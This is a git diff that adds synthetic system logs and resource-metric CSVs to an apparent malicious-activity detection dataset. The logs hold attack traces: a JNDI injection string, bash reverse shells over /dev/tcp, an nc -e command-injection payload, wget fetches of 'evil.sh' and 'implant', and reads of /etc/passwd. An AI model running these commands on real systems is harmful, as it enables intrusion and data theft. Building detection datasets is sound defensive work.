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+2025-09-22T10:07:25Z,11.894967450384026,46.57243346628996,0.9073493675811837,3.8743874149489383,6.175962294596015 diff --git a/mali_dataset/scenario_11/mali_11_13.log b/mali_dataset/scenario_11/mali_11_13.log new file mode 100644 index 0000000000000000000000000000000000000000..a7db278e00f9cb593644c66b48eb6fc935a7e4fd --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_13.log @@ -0,0 +1,13 @@ +Sep 22 10:00:15 server sshd[8880]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Sep 22 10:01:00 server CRON[8885]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Sep 22 10:02:05 server nginx: 192.168.1.50 - - [22/Sep/2025:10:02:05 ] "GET /dashboard HTTP/1.1" 200 345 "-" "Mozilla/5.0" +Sep 22 10:02:30 server nginx: 203.0.113.55 - - [22/Sep/2025:10:02:30 ] "GET / HTTP/1.1" 404 123 "-" "${{jndi:ldap://203.0.113.55:1389/a}}" +Sep 22 10:02:30 server firewalld: final-log: 192.168.1.101 -> 203.0.113.55: protocol: 6, ports: [54321 -> 4444], policy: allow +type=SYSCALL msg=audit(1758535350.210): arch=c000003e syscall=59 success=yes exit=0 a0=55a4a5d9e5a0 a1=55a4a5d9e5c0 a2=55a4a5d9e6e0 a3=0 items=2 ppid=8888 pid=8910 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="sh" exe="/bin/sh" key="shell_spawn" +type=EXECVE msg=audit(1758535350.210): argc=3 a0="sh" a1="-c" a2="bash -i >& /dev/tcp/203.0.113.55/4444 0>&1" +type=EXECVE msg=audit(1758535410.000): argc=1 a0="id" ppid=8910 pid=8911 uid=33 gid=33 comm="sh" exe="/usr/bin/id" key="reverse_shell_cmd" +type=EXECVE msg=audit(1758535450.000): argc=2 a0="uname" a1="-a" ppid=8910 pid=8912 uid=33 gid=33 comm="sh" exe="/usr/bin/uname" key="reverse_shell_cmd" +Sep 22 10:04:50 server nginx: 192.168.1.50 - - [22/Sep/2025:10:04:50 ] "GET /static/main.css HTTP/1.1" 200 1024 "/dashboard" "Mozilla/5.0" +type=EXECVE msg=audit(1758535525.000): argc=4 a0="find" a1="/" a2="-name" a3="*.log" ppid=8910 pid=8913 uid=33 gid=33 comm="sh" exe="/usr/bin/find" key="reverse_shell_cmd" +type=EXECVE msg=audit(1758535590.000): argc=3 a0="wget" a1="-O" a2="/tmp/evil.sh" http://203.0.113.55/evil.sh ppid=8910 pid=8914 uid=33 gid=33 comm="sh" exe="/usr/bin/wget" key="reverse_shell_cmd" +Sep 22 10:07:20 server sshd[9010]: Received disconnect from 10.0.2.2 port 51234:11: disconnected by user diff --git a/mali_dataset/scenario_11/mali_11_2.csv b/mali_dataset/scenario_11/mali_11_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..138ab9cd3854343d59537d475cac73bc848caaa7 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T14:00:00Z,9.344612906406146,37.156814512807905,4.927817200587086,0.938804133014684,0.9812887377472693 +2025-08-29T14:00:05Z,5.4700412379336605,35.877441717863924,2.549834223150255,0.8678186036897965,1.4930992743798186 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b/mali_dataset/scenario_11/mali_11_2.log new file mode 100644 index 0000000000000000000000000000000000000000..f2bcf2daad86a3d696cb1936bc9f3c2ec775c904 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_2.log @@ -0,0 +1,15 @@ +Aug 29 14:00:10 web-app-7f9c4f4b9d-j2x5k web-app[31337]: GET /api/v1/user/12 status=200 OK +Aug 29 14:00:35 node-1 systemd[1]: Starting daily clean up activities... +Aug 29 14:01:05 web-app-7f9c4f4b9d-j2x5k web-app[31337]: GET /api/v1/health status=200 OK +Aug 29 14:02:01 node-1 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 14:02:30 web-app-7f9c4f4b9d-j2x5k web-app[31337]: ERROR: Failed to deserialize user-provided payload. Exception: java.lang.ClassCastException; Executing fallback. +Aug 29 14:02:35 node-1 kernel: [18345.678] audit: type=1326 audit(1756504955.345:123): saddr=fam=2 laddr=10.0.1.5 lport=54321 faddr=103.10.10.10 fport=4444 +Aug 29 14:02:35 node-1 auditd[123]: type=SYSCALL msg=audit(1756504955.345:123): arch=c000003e syscall=42 connect success=yes exit=0 a0=3 a1=7ffd3a4b8c a2=10 a3=0 items=0 ppid=31337 pid=31338 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="bash" exe="/bin/bash" key=(null) +Aug 29 14:03:00 web-app-7f9c4f4b9d-j2x5k web-app[31337]: GET /api/v1/user/19 status=200 OK +Aug 29 14:03:30 node-1 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7f9c4f4b9d-j2x5k +Aug 29 14:03:40 node-1 auditd[123]: type=EXECVE msg=audit(1756505020.111:124): argc=3 a0="ls" a1="-la" a2="/tmp" ppid=31338 pid=31340 exe="/bin/ls" +Aug 29 14:04:40 node-1 auditd[123]: type=EXECVE msg=audit(1756505080.222:125): argc=2 a0="cat" a1="/etc/passwd" ppid=31338 pid=31342 exe="/bin/cat" +Aug 29 14:05:30 web-app-7f9c4f4b9d-j2x5k web-app[31337]: GET /api/v1/user/33 status=200 OK +Aug 29 14:05:50 node-1 auditd[123]: type=EXECVE msg=audit(1756505150.333:126): argc=2 a0="wget" a1="http://103.10.10.10/implant" ppid=31338 pid=31345 exe="/usr/bin/wget" +Aug 29 14:06:40 node-1 systemd[1]: Starting clean up of old temporary directories. +Aug 29 14:06:50 node-1 auditd[123]: type=EXECVE msg=audit(1756505210.444:127): argc=4 a0="find" a1="/" a2="-name" a3="*.log" ppid=31338 pid=31349 exe="/usr/bin/find" diff --git a/mali_dataset/scenario_11/mali_11_3.csv b/mali_dataset/scenario_11/mali_11_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..c50d542d7da10d3b66b3c6ca23b0a2100ab2c936 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-14T14:37:20Z,8.585497537065752,27.43838015029762,2.6191149841358863,0.9936047835931614,1.8378078362557753 +2025-07-14T14:37:25Z,7.783926388123967,27.391929966739255,2.1979125863311495,0.8595841534385386,1.6991804021239856 diff --git a/mali_dataset/scenario_11/mali_11_3.log b/mali_dataset/scenario_11/mali_11_3.log new file mode 100644 index 0000000000000000000000000000000000000000..35475bcb4a2bcfa669086251a2365fb1e9c5dd39 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_3.log @@ -0,0 +1,16 @@ +Jul 14 14:30:00 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 14 14:30:25 server CRON[3117]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Jul 14 14:30:50 server sshd[3150]: Accepted publickey for user from 192.168.1.10 port 55122 ssh2: RSA SHA256:... +Jul 14 14:31:15 server systemd[1]: Started Session 12 of user user. +Jul 14 14:31:40 webapp[1123]: WARN Exception processing request to /api/v1/user/upload : org.apache.commons.fileupload.FileUploadException: Unexpected end of input stream +Jul 14 14:31:45 server auditd[550]: type=SYSCALL msg=audit(1752503505.0:81): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=7ffc5e1a3b10 a2=10 a3=0 items=0 ppid=1123 pid=3188 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="bash" exe="/bin/bash" key="net_connect" +Jul 14 14:31:45 server auditd[550]: type=SOCKADDR msg=audit(1752503505.0:81): saddr=fam=inet lport=0 laddr=10.0.0.5 fport=4444 faddr=198.51.100.24 +Jul 14 14:31:50 server kernel: [18111.123456] [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.24 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=5328 DF PROTO=TCP SPT=49882 DPT=4444 WINDOW=64240 RES=0x00 SYN URGP=0 +Jul 14 14:32:00 server CRON[3201]: (root) CMD (run-parts --report /etc/cron.minutely) +Jul 14 14:32:05 server auditd[550]: type=EXECVE msg=audit(1752503525.0:82): argc=2 a0="whoami" +Jul 14 14:32:55 server auditd[550]: type=EXECVE msg=audit(1752503575.0:83): argc=3 a0="ls" a1="-la" a2="/tmp" +Jul 14 14:33:45 server sshd[3250]: Received disconnect from 192.168.1.10 port 55122:11: disconnected by user +Jul 14 14:34:10 server auditd[550]: type=EXECVE msg=audit(1752503650.0:84): argc=2 a0="cat" a1="/etc/passwd" +Jul 14 14:35:25 server auditd[550]: type=EXECVE msg=audit(1752503725.0:85): argc=2 a0="ps" a1="aux" +Jul 14 14:36:15 server systemd[1]: Starting Cleanup of Temporary Directories... +Jul 14 14:37:05 server CRON[3310]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) \ No newline at end of file diff --git a/mali_dataset/scenario_11/mali_11_4.csv b/mali_dataset/scenario_11/mali_11_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..2ac571fcd73d062925c77cc777d4d023bda14450 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,gpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,15.8,N/A,44.11,0.24,1.47,2.1 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CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:01:40 web-app-prod-01 systemd[1]: Starting daily clean up activities... +Aug 22 14:02:20 web-app-prod-01 web-app-prod-01[4321]: ERROR Exception processing request for /api/v1/user/profile. Possible command injection attempt with payload: 'id; nc 101.12.110.4 9999 -e /bin/bash' +Aug 22 14:02:30 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:02:30 web-app-prod-01 auditd[555]: type=SYSCALL msg=audit(1755871350.0:123): arch=c000003e syscall=42 success=yes exit=0 a0=4 a1=7f0c1d2e3f40 a2=10 a3=0 items=0 ppid=4321 pid=9876 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="nc" exe="/bin/netcat" key="reverse_shell" +Aug 22 14:02:30 web-app-prod-01 kernel: [12345.678] audit: type=1300 audit(1755871350.0:123): arch=c000003e syscall=42 success=yes exit=0 a0=4 a1=7f0c1d2e3f40 a2=10 a3=0 items=0 ppid=4321 pid=9876 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="nc" exe="/bin/netcat" key="reverse_shell" +Aug 22 14:03:20 web-app-prod-01 auditd[555]: type=EXECVE msg=audit(1755871400.0:124): ppid=9876 pid=9880 cmdline="whoami" +Aug 22 14:03:20 web-app-prod-01 systemd[1]: Starting daily clean up activities... +Aug 22 14:03:45 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:04:35 web-app-prod-01 auditd[555]: type=EXECVE msg=audit(1755871475.0:125): ppid=9876 pid=9910 cmdline="find / -perm -4000" +Aug 22 14:05:00 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:05:00 web-app-prod-01 systemd[1]: Starting daily clean up activities... +Aug 22 14:05:50 web-app-prod-01 auditd[555]: type=EXECVE msg=audit(1755871550.0:126): ppid=9876 pid=9950 cmdline="ps -aux" +Aug 22 14:06:15 web-app-prod-01 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:06:40 web-app-prod-01 auditd[555]: type=SYSCALL msg=audit(1755871600.0:127): arch=c000003e syscall=2 success=yes exit=3 a0=7ffd1f9b9e10 a1=0 a2=1fffffffffff0000 a3=0 items=1 ppid=9876 pid=9985 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="cat" exe="/bin/cat" path="/etc/passwd" key="file_read" +Aug 22 14:06:40 web-app-prod-01 systemd[1]: Starting daily clean up activities... diff --git a/mali_dataset/scenario_11/mali_11_5.csv b/mali_dataset/scenario_11/mali_11_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..dc10c531e330c63bf88aff96c553e138c90092ae --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29 10:00:00+00:00,13.689225812812293,36.68279956983268,5.0299848254408195,1.3864402951162862,0.6263236118579102 +2025-08-29 10:00:05+00:00,12.189381709359688,43.808564082847695,6.173049164791041,1.0411388515853415,1.4967550817171822 +2025-08-29 10:00:10+00:00,14.819543001467714,44.118522126391824,9.311453295222956,0.9329871136359739,1.2303576872721411 +2025-08-29 10:00:15+00:00,8.470103325367102,43.45422381111213,6.475660077378064,0.5341073607463428,1.274699932886906 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systemd[1]: Starting daily clean up activities... +Aug 29 10:00:20 web-app[3456]: GET /api/v1/user/profile status=200 OK +Aug 29 10:01:05 server CRON[4123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:01:50 web-app[3456]: POST /api/v1/login status=200 OK +Aug 29 10:01:58 web-app[3456]: ERROR Exception processing request for /api/v1/system/exec with payload '{"command":"/bin/bash"}' +Aug 29 10:02:00 server auditd[550]: type=EXECVE msg=audit(1756461720:789): ppid=3456 pid=4201 a0=/bin/bash a1=-c a2=bash -i >& /dev/tcp/198.51.100.123/4444 0>&1 +Aug 29 10:02:01 server kernel: [UFW BLOCK] IN= OUT=eth0 SRC=172.17.0.5 DST=198.51.100.123 PROTO=TCP SPT=45890 DPT=4444 WINDOW=64240 RES=0x00 SYN URGP=0 +Aug 29 10:03:45 server auditd[550]: type=EXECVE msg=audit(1756461825:795): ppid=4201 pid=4210 a0=ls a1=-la a2=/etc +Aug 29 10:04:10 web-app[3456]: GET /api/v1/status status=200 OK +Aug 29 10:05:00 server auditd[550]: type=EXECVE msg=audit(1756461900:812): ppid=4201 pid=4215 a0=cat a1=/var/log/auth.log +Aug 29 10:06:15 server auditd[550]: type=EXECVE msg=audit(1756461975:830): ppid=4201 pid=4220 a0=/usr/bin/wget a1=http://198.51.100.123/tools/scanner +Aug 29 10:07:00 web-app[3456]: GET /api/v1/user/settings status=200 OK +Aug 29 10:07:25 server systemd[1]: Daily clean up activities finished. diff --git a/mali_dataset/scenario_11/mali_11_6.csv b/mali_dataset/scenario_11/mali_11_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..db78fb3dce3e6b711a07573b5c2ac1f7da59f335 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:30:00Z,7.5745639183578275,35.76698152614323,0.3960963374982084,1.1028039707351869,1.1263802391230893 +2025-08-15T14:30:05Z,8.087852327654343,38.89938767821968,0.38369173947544954,1.356783982977511,0.9839684253441079 +2025-08-15T14:30:10Z,9.761332841395053,35.86144017319779,0.2490174381219936,0.8363650062162495,1.1161650335392574 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0000000000000000000000000000000000000000..06267a83e13706ba5dbd6f35e9baa29b4a8e355d --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_6.log @@ -0,0 +1,14 @@ +Aug 15 14:30:25 CRON[4555]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 14:30:50 web-app[4567]: GET /api/v1/health status=200 OK +Aug 15 14:31:40 systemd[1]: Starting Daily apt download activities... +Aug 15 14:32:05 web-app[4567]: GET /api/v1/user/99 status=200 OK +Aug 15 14:32:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.192.70.101 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=54321 DF PROTO=TCP SPT=44321 DPT=9001 WINDOW=65535 RES=0x00 SYN +Aug 15 14:32:30 web-app[4567]: ERROR Exception processing request for /api/v1/upload: java.lang.RuntimeException: Deserialization of untrusted data +Aug 15 14:35:25 web-app[4567]: GET /api/v1/metrics status=200 OK +Aug 15 14:37:05 CRON[4801]: (root) CMD ( test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +type=EXECVE msg=audit(2025-08-15T14:33:20.000): argc=1 a0="whoami" ppid=4599 pid=4600 uid=33 gid=33 comm="bash" exe="/usr/bin/whoami" key="reverse_shell_cmd" +type=EXECVE msg=audit(2025-08-15T14:34:35.000): argc=2 a0="ps" a1="aux" ppid=4599 pid=4601 uid=33 gid=33 comm="bash" exe="/usr/bin/ps" key="reverse_shell_cmd" +type=EXECVE msg=audit(2025-08-15T14:35:50.000): argc=2 a0="cat" a1="/etc/passwd" ppid=4599 pid=4602 uid=33 gid=33 comm="bash" exe="/usr/bin/cat" key="reverse_shell_cmd" +type=EXECVE msg=audit(2025-08-15T14:36:40.000): argc=3 a0="ls" a1="-l" a2="/tmp" ppid=4599 pid=4603 uid=33 gid=33 comm="bash" exe="/usr/bin/ls" key="reverse_shell_cmd" +type=SOCKADDR msg=audit(2025-08-15T14:32:30.150): saddr=02002329b9c04665 +type=SYSCALL msg=audit(2025-08-15T14:32:30.150): arch=c000003e syscall=42 success=yes exit=0 a0=c a1=7ffd8c078e30 a2=10 a3=0 items=0 ppid=4567 pid=4599 auid=33 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=1 comm="bash" exe="/usr/bin/bash" key="reverse_shell" diff --git a/mali_dataset/scenario_11/mali_11_7.csv b/mali_dataset/scenario_11/mali_11_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..f9c8630afddb40a16e9a1f818919bccfb58c27b3 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-22T10:00:00Z,11.778568904543736,49.99993905683126,0.5954553879479931,2.378954937145447,1.9757244356667432 +2025-09-22T10:00:05Z,14.03980796767878,46.10096640756368,0.6523171452967136,2.9467747570812457,1.8721720086164928 +2025-09-22T10:00:10Z,12.930726897866101,48.194676136327516,0.8527231382904621,2.6628206024763816,1.6093129207293548 +2025-09-22T10:00:15Z,13.307639383904034,46.506369031797654,0.5561023277822121,2.924663678483626,2.4903387109233934 +2025-09-22T10:00:20Z,14.991218998577189,47.253367271164194,0.9446248935014285,2.6794861866635675,2.4904562432004296 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+2025-09-22T10:07:25Z,11.894967450384026,46.57243346628996,0.9073493675811837,3.8743874149489383,6.175962294596015 diff --git a/mali_dataset/scenario_11/mali_11_7.log b/mali_dataset/scenario_11/mali_11_7.log new file mode 100644 index 0000000000000000000000000000000000000000..a7db278e00f9cb593644c66b48eb6fc935a7e4fd --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_7.log @@ -0,0 +1,13 @@ +Sep 22 10:00:15 server sshd[8880]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Sep 22 10:01:00 server CRON[8885]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Sep 22 10:02:05 server nginx: 192.168.1.50 - - [22/Sep/2025:10:02:05 ] "GET /dashboard HTTP/1.1" 200 345 "-" "Mozilla/5.0" +Sep 22 10:02:30 server nginx: 203.0.113.55 - - [22/Sep/2025:10:02:30 ] "GET / HTTP/1.1" 404 123 "-" "${{jndi:ldap://203.0.113.55:1389/a}}" +Sep 22 10:02:30 server firewalld: final-log: 192.168.1.101 -> 203.0.113.55: protocol: 6, ports: [54321 -> 4444], policy: allow +type=SYSCALL msg=audit(1758535350.210): arch=c000003e syscall=59 success=yes exit=0 a0=55a4a5d9e5a0 a1=55a4a5d9e5c0 a2=55a4a5d9e6e0 a3=0 items=2 ppid=8888 pid=8910 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="sh" exe="/bin/sh" key="shell_spawn" +type=EXECVE msg=audit(1758535350.210): argc=3 a0="sh" a1="-c" a2="bash -i >& /dev/tcp/203.0.113.55/4444 0>&1" +type=EXECVE msg=audit(1758535410.000): argc=1 a0="id" ppid=8910 pid=8911 uid=33 gid=33 comm="sh" exe="/usr/bin/id" key="reverse_shell_cmd" +type=EXECVE msg=audit(1758535450.000): argc=2 a0="uname" a1="-a" ppid=8910 pid=8912 uid=33 gid=33 comm="sh" exe="/usr/bin/uname" key="reverse_shell_cmd" +Sep 22 10:04:50 server nginx: 192.168.1.50 - - [22/Sep/2025:10:04:50 ] "GET /static/main.css HTTP/1.1" 200 1024 "/dashboard" "Mozilla/5.0" +type=EXECVE msg=audit(1758535525.000): argc=4 a0="find" a1="/" a2="-name" a3="*.log" ppid=8910 pid=8913 uid=33 gid=33 comm="sh" exe="/usr/bin/find" key="reverse_shell_cmd" +type=EXECVE msg=audit(1758535590.000): argc=3 a0="wget" a1="-O" a2="/tmp/evil.sh" http://203.0.113.55/evil.sh ppid=8910 pid=8914 uid=33 gid=33 comm="sh" exe="/usr/bin/wget" key="reverse_shell_cmd" +Sep 22 10:07:20 server sshd[9010]: Received disconnect from 10.0.2.2 port 51234:11: disconnected by user diff --git a/mali_dataset/scenario_11/mali_11_8.csv b/mali_dataset/scenario_11/mali_11_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..138ab9cd3854343d59537d475cac73bc848caaa7 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T14:00:00Z,9.344612906406146,37.156814512807905,4.927817200587086,0.938804133014684,0.9812887377472693 +2025-08-29T14:00:05Z,5.4700412379336605,35.877441717863924,2.549834223150255,0.8678186036897965,1.4930992743798186 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b/mali_dataset/scenario_11/mali_11_8.log new file mode 100644 index 0000000000000000000000000000000000000000..f2bcf2daad86a3d696cb1936bc9f3c2ec775c904 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_8.log @@ -0,0 +1,15 @@ +Aug 29 14:00:10 web-app-7f9c4f4b9d-j2x5k web-app[31337]: GET /api/v1/user/12 status=200 OK +Aug 29 14:00:35 node-1 systemd[1]: Starting daily clean up activities... +Aug 29 14:01:05 web-app-7f9c4f4b9d-j2x5k web-app[31337]: GET /api/v1/health status=200 OK +Aug 29 14:02:01 node-1 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 14:02:30 web-app-7f9c4f4b9d-j2x5k web-app[31337]: ERROR: Failed to deserialize user-provided payload. Exception: java.lang.ClassCastException; Executing fallback. +Aug 29 14:02:35 node-1 kernel: [18345.678] audit: type=1326 audit(1756504955.345:123): saddr=fam=2 laddr=10.0.1.5 lport=54321 faddr=103.10.10.10 fport=4444 +Aug 29 14:02:35 node-1 auditd[123]: type=SYSCALL msg=audit(1756504955.345:123): arch=c000003e syscall=42 connect success=yes exit=0 a0=3 a1=7ffd3a4b8c a2=10 a3=0 items=0 ppid=31337 pid=31338 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="bash" exe="/bin/bash" key=(null) +Aug 29 14:03:00 web-app-7f9c4f4b9d-j2x5k web-app[31337]: GET /api/v1/user/19 status=200 OK +Aug 29 14:03:30 node-1 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7f9c4f4b9d-j2x5k +Aug 29 14:03:40 node-1 auditd[123]: type=EXECVE msg=audit(1756505020.111:124): argc=3 a0="ls" a1="-la" a2="/tmp" ppid=31338 pid=31340 exe="/bin/ls" +Aug 29 14:04:40 node-1 auditd[123]: type=EXECVE msg=audit(1756505080.222:125): argc=2 a0="cat" a1="/etc/passwd" ppid=31338 pid=31342 exe="/bin/cat" +Aug 29 14:05:30 web-app-7f9c4f4b9d-j2x5k web-app[31337]: GET /api/v1/user/33 status=200 OK +Aug 29 14:05:50 node-1 auditd[123]: type=EXECVE msg=audit(1756505150.333:126): argc=2 a0="wget" a1="http://103.10.10.10/implant" ppid=31338 pid=31345 exe="/usr/bin/wget" +Aug 29 14:06:40 node-1 systemd[1]: Starting clean up of old temporary directories. +Aug 29 14:06:50 node-1 auditd[123]: type=EXECVE msg=audit(1756505210.444:127): argc=4 a0="find" a1="/" a2="-name" a3="*.log" ppid=31338 pid=31349 exe="/usr/bin/find" diff --git a/mali_dataset/scenario_11/mali_11_9.csv b/mali_dataset/scenario_11/mali_11_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..c50d542d7da10d3b66b3c6ca23b0a2100ab2c936 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-14T14:37:20Z,8.585497537065752,27.43838015029762,2.6191149841358863,0.9936047835931614,1.8378078362557753 +2025-07-14T14:37:25Z,7.783926388123967,27.391929966739255,2.1979125863311495,0.8595841534385386,1.6991804021239856 diff --git a/mali_dataset/scenario_11/mali_11_9.log b/mali_dataset/scenario_11/mali_11_9.log new file mode 100644 index 0000000000000000000000000000000000000000..35475bcb4a2bcfa669086251a2365fb1e9c5dd39 --- /dev/null +++ b/mali_dataset/scenario_11/mali_11_9.log @@ -0,0 +1,16 @@ +Jul 14 14:30:00 server systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 14 14:30:25 server CRON[3117]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Jul 14 14:30:50 server sshd[3150]: Accepted publickey for user from 192.168.1.10 port 55122 ssh2: RSA SHA256:... +Jul 14 14:31:15 server systemd[1]: Started Session 12 of user user. +Jul 14 14:31:40 webapp[1123]: WARN Exception processing request to /api/v1/user/upload : org.apache.commons.fileupload.FileUploadException: Unexpected end of input stream +Jul 14 14:31:45 server auditd[550]: type=SYSCALL msg=audit(1752503505.0:81): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=7ffc5e1a3b10 a2=10 a3=0 items=0 ppid=1123 pid=3188 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="bash" exe="/bin/bash" key="net_connect" +Jul 14 14:31:45 server auditd[550]: type=SOCKADDR msg=audit(1752503505.0:81): saddr=fam=inet lport=0 laddr=10.0.0.5 fport=4444 faddr=198.51.100.24 +Jul 14 14:31:50 server kernel: [18111.123456] [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.24 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=5328 DF PROTO=TCP SPT=49882 DPT=4444 WINDOW=64240 RES=0x00 SYN URGP=0 +Jul 14 14:32:00 server CRON[3201]: (root) CMD (run-parts --report /etc/cron.minutely) +Jul 14 14:32:05 server auditd[550]: type=EXECVE msg=audit(1752503525.0:82): argc=2 a0="whoami" +Jul 14 14:32:55 server auditd[550]: type=EXECVE msg=audit(1752503575.0:83): argc=3 a0="ls" a1="-la" a2="/tmp" +Jul 14 14:33:45 server sshd[3250]: Received disconnect from 192.168.1.10 port 55122:11: disconnected by user +Jul 14 14:34:10 server auditd[550]: type=EXECVE msg=audit(1752503650.0:84): argc=2 a0="cat" a1="/etc/passwd" +Jul 14 14:35:25 server auditd[550]: type=EXECVE msg=audit(1752503725.0:85): argc=2 a0="ps" a1="aux" +Jul 14 14:36:15 server systemd[1]: Starting Cleanup of Temporary Directories... +Jul 14 14:37:05 server CRON[3310]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) \ No newline at end of file diff --git a/mali_dataset/scenario_12/mali_12_1.csv b/mali_dataset/scenario_12/mali_12_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..ace768f17c10db37afe632426f2dbb1d9e029eb9 --- /dev/null +++ b/mali_dataset/scenario_12/mali_12_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in +2025-08-29T15:35:00Z,15.73,35.94,21.12,1.36 +2025-08-29T15:35:05Z,12.99,34.77,24.63,1.26 +2025-08-29T15:35:10Z,18.62,36.84,28.06,1.48 +2025-08-29T15:35:15Z,14.46,35.92,26.11,1.30 +2025-08-29T15:35:20Z,15.89,36.73,29.30,1.19 +2025-08-29T15:35:25Z,13.70,34.89,28.05,1.13 +2025-08-29T15:35:30Z,16.19,35.51,27.74,1.44 +2025-08-29T15:35:35Z,12.08,34.68,25.48,1.29 +2025-08-29T15:35:40Z,11.94,36.42,22.91,1.52 +2025-08-29T15:35:45Z,14.28,35.81,24.73,1.41 +2025-08-29T15:35:50Z,20.45,38.12,30.55,2.15 +2025-08-29T15:35:55Z,18.92,37.66,28.73,1.98 +2025-08-29T15:36:00Z,22.13,39.02,32.41,2.56 +2025-08-29T15:36:05Z,35.48,55.21,45.88,15.82 +2025-08-29T15:36:10Z,89.92,75.43,68.92,25.43 +2025-08-29T15:36:15Z,99.85,85.11,75.23,28.91 +2025-08-29T15:36:20Z,100.00,88.45,79.84,30.15 +2025-08-29T15:36:25Z,100.00,89.12,82.34,31.48 +2025-08-29T15:36:30Z,100.00,90.53,85.62,29.73 +2025-08-29T15:36:35Z,100.00,91.22,88.91,32.01 +2025-08-29T15:36:40Z,100.00,91.88,90.12,33.56 +2025-08-29T15:36:45Z,100.00,92.43,91.53,30.89 +2025-08-29T15:36:50Z,100.00,92.89,92.74,34.11 +2025-08-29T15:36:55Z,100.00,93.12,93.68,31.99 +2025-08-29T15:37:00Z,100.00,93.56,94.21,35.02 